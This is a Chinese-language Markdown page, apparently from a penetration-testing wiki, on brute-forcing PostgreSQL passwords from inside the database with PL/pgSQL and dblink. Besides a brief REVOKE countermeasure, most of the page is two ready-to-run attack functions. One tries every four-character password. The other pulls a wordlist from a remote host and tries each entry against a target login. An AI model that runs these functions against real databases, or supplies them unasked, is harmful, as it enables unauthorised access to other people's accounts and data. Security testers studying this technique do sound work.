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110 lines
3.1 KiB
Markdown
110 lines
3.1 KiB
Markdown
# PL/pgSQL 密码暴力破解
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**在原始论文中找到[更多关于这些攻击的信息](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**。
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PL/pgSQL 是一种 **功能齐全的编程语言**，通过提供 **增强的过程控制** 超越了 SQL 的能力。这包括使用循环和各种控制结构。用 PL/pgSQL 语言编写的函数可以通过 SQL 语句和触发器调用，从而扩展数据库环境中的操作范围。
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您可以利用这种语言要求 PostgreSQL 暴力破解用户凭据，但它必须存在于数据库中。您可以使用以下方法验证它的存在：
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```sql
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SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
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lanname | lanacl
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---------+---------
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plpgsql |
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```
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默认情况下，**创建函数是授予PUBLIC的特权**，其中PUBLIC指的是该数据库系统上的每个用户。为了防止这种情况，管理员可能需要从PUBLIC域撤销USAGE特权：
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```sql
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REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
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```
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在这种情况下，我们之前的查询将输出不同的结果：
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```sql
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SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
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lanname | lanacl
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---------+-----------------
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plpgsql | {admin=U/admin}
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```
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请注意，为了使以下脚本正常工作，**需要存在函数 `dblink`**。如果不存在，您可以尝试通过
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```sql
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CREATE EXTENSION dblink;
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```
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## 密码暴力破解
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这里是如何进行4个字符密码的暴力破解：
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```sql
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//Create the brute-force function
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CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
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username TEXT, dbname TEXT) RETURNS TEXT AS
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$$
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DECLARE
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word TEXT;
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BEGIN
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FOR a IN 65..122 LOOP
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FOR b IN 65..122 LOOP
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FOR c IN 65..122 LOOP
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FOR d IN 65..122 LOOP
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BEGIN
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word := chr(a) || chr(b) || chr(c) || chr(d);
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PERFORM(SELECT * FROM dblink(' host=' || host ||
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' port=' || port ||
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' dbname=' || dbname ||
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' user=' || username ||
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' password=' || word,
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'SELECT 1')
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RETURNS (i INT));
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RETURN word;
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EXCEPTION
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WHEN sqlclient_unable_to_establish_sqlconnection
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THEN
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-- do nothing
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END;
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END LOOP;
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END LOOP;
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END LOOP;
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END LOOP;
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RETURN NULL;
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END;
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$$ LANGUAGE 'plpgsql';
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//Call the function
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select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
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```
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_请注意，即使是暴力破解4个字符也可能需要几分钟。_
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您还可以**下载一个字典**并仅尝试那些密码（字典攻击）：
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```sql
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//Create the function
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CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
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username TEXT, dbname TEXT) RETURNS TEXT AS
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$$
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BEGIN
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FOR word IN (SELECT word FROM dblink('host=1.2.3.4
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user=name
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password=qwerty
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dbname=wordlists',
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'SELECT word FROM wordlist')
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RETURNS (word TEXT)) LOOP
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BEGIN
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PERFORM(SELECT * FROM dblink(' host=' || host ||
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' port=' || port ||
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' dbname=' || dbname ||
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' user=' || username ||
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' password=' || word,
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'SELECT 1')
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RETURNS (i INT));
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RETURN word;
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EXCEPTION
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WHEN sqlclient_unable_to_establish_sqlconnection THEN
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-- do nothing
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END;
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END LOOP;
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RETURN NULL;
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END;
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$$ LANGUAGE 'plpgsql'
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-- Call the function
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select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
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```
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